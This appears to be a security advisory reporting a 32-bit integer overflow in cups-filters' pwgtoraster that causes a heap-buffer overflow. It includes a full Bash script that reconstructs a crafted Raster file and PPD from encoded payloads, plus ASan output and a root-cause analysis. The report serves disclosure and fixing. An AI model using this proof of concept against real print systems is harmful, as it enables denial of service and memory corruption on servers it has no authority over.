pwgtoraster: vertical averaging size wraps before heap allocation

[kimaiden1984-boop]

Summary

A Raster page can select an input vertical resolution whose downscale factor
causes the averaging-buffer multiplication to wrap at 32 bits. The filter
allocates 512 bytes, then copies the second and subsequent 512-byte document
rows past that allocation.

The output PPD uses an ordinary 300 DPI grayscale mode. The hostile state is
carried by the Raster header and pixels, producing a contiguous,
document-controlled heap overwrite.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.

Validated revisions:

• cups-filters: 11d1a190530f85a361a1b3835f57d635256dff1a
• libcupsfilters: 905fd94fb22a9298bc8e2c845eb7e04f7055b686
• libppd: 522af8dd135f4dde66b1aac8b9d067808bbe122d

poc/document.pwg is a 512-by-4, 8-bit grayscale Raster page with
cupsBytesPerLine=512, horizontal resolution 300, and vertical resolution
2,516,582,700. Its SHA-256 is
ad3a0b929172eb5b4305bbf1b24d33f8076f6f09beef4f16a27ae9ca47934b7e.

Run:

./reproduce.sh

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: pwgtoraster: vertical averaging size wraps before heap allocation
# Finding ID: pwgtoraster-vertical-averaging-integer-overflow
# Trigger: A Raster page can select an input vertical resolution whose
# downscale factor causes the averaging-buffer multiplication to wrap at 32
# bits. The filter allocates 512 bytes, then copies the second and subsequent
# 512-byte document rows past that allocation.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.pwg (1836 bytes)
write_file document.pwg ad3a0b929172eb5b4305bbf1b24d33f8076f6f09beef4f16a27ae9ca47934b7e <<'POC_PAYLOAD_0'
H4sIAAAAAAACAzMKTgwKKE8PSiwuSS1iGAUwoMMIxtOEgGwVIA5iYmD4woSqBiZHCKQA9UkwowkC
xVigTA4oZmBCmIvEBQNGOEvShYHBDYgnODIwCDgxNIgA2bYuozE2CkbBKBipwCe1hLIKrN4BAhnq
HSGQod4JAhnqnSEQAGKjUcssBwAA
POC_PAYLOAD_0

# PPD configuration needed to select the vulnerable filter state.
# Output: printer.ppd (1480 bytes)
write_file printer.ppd 1b1b24f0bc16c14748ba92405c359e281a368af78dc63b0ac04b05560a010819 <<'POC_PAYLOAD_1'
H4sIAAAAAAACA41S227iMBR8z1dYPLVIEEIgBVRV4lK6aKFERexqW/XBJCa11rEjx9nt8vV7nAAO
V1XKRZmZzPiMXfX9Ua0fihXpoUqr7las6ljIGKsfRKZUcINSRgzm1BuATTGPMhwZ/JFHjKYfhnnk
gQgpj3posphPsaLcsaozzLM1DlQmiQSveUK4LykHMgLTmQgJe8axXlCQJWltTZmCALTONhuUSAHf
BHSLDyHVMw1+X9KC5hpdsvKHerqtcLx8fa1DKxqXIswCBeDNxd9vtW5hmrlxG07jFul69D97Ahor
kGK+LF7p4XcYNILZUCSUpD00xiwlBTHOE8EWJwmjARQouC0CRVQtVZLgGDVQ8jdSQuIUhBCq21xO
UNWH9hd0AxP5UMKcg+GIrHHGlGH6LWuvgw+734Kk+3t7h721u23UaTXf7UmMI9iewUB8Ip4x9vCQ
EpWALCR/aJB3uPOZEgUrsYvXkZ/nNNFd90t+QyZSspz0zCT7AfTPBK8Y6UMD0GxTX+2Oizou9HnA
onykA0XlWLJfqdNBrofa3Ra6a3uVUl8JkSMaE17s5LYUPXKZKKK2ZOWE3adsOyht1VAwIfNjcbpZ
Ze5J4n9WSZ0Dtn4UNesDk7OLBAcEOZ0cGVCV+kTmBDqAfPoJJp0z3ZuIl6eBDff5gC/5N1tXA4az
X99t/Tgb4X0pwm1eOz8mzFT+QlLBMpXv53HlZc5tNMKEWiX9FrLhheBdrPrbTyN40wzc76drKrl4
hYt30UUz3lkXM5mRW/8BZ7q7FMgFAAA=
POC_PAYLOAD_1

Result

ASan reports a 512-byte heap-buffer-overflow write at
pwgtoraster.c:1906, immediately after a 512-byte allocation made at line
1766. The plain build exits with SIGSEGV, status 139.

The four-row input provides a 1,536-byte document-controlled overflow prefix.
The loop then fills absent rows with 0xff while attempting to traverse the
full factor. Reliable denial of service is proven, but the runaway write
normally destroys the heap top rather than stopping after a precise controlled
object; native code execution has not been demonstrated.

Cause and expected behavior

The input/output resolution ratio is 8,388,609. The expression passed to
calloc() is evaluated from two 32-bit unsigned values:

512 * 8,388,609 = 2^32 + 512

It therefore wraps to 512 before conversion to size_t. The collection loop
retains the full factor and calculates each destination as
lineavg + i * cupsBytesPerLine.

The factor and all allocation/offset products must be checked in size_t
before allocation. The filter should also reject implausible Raster
resolutions and downscale factors before entering a multi-million-row
averaging loop.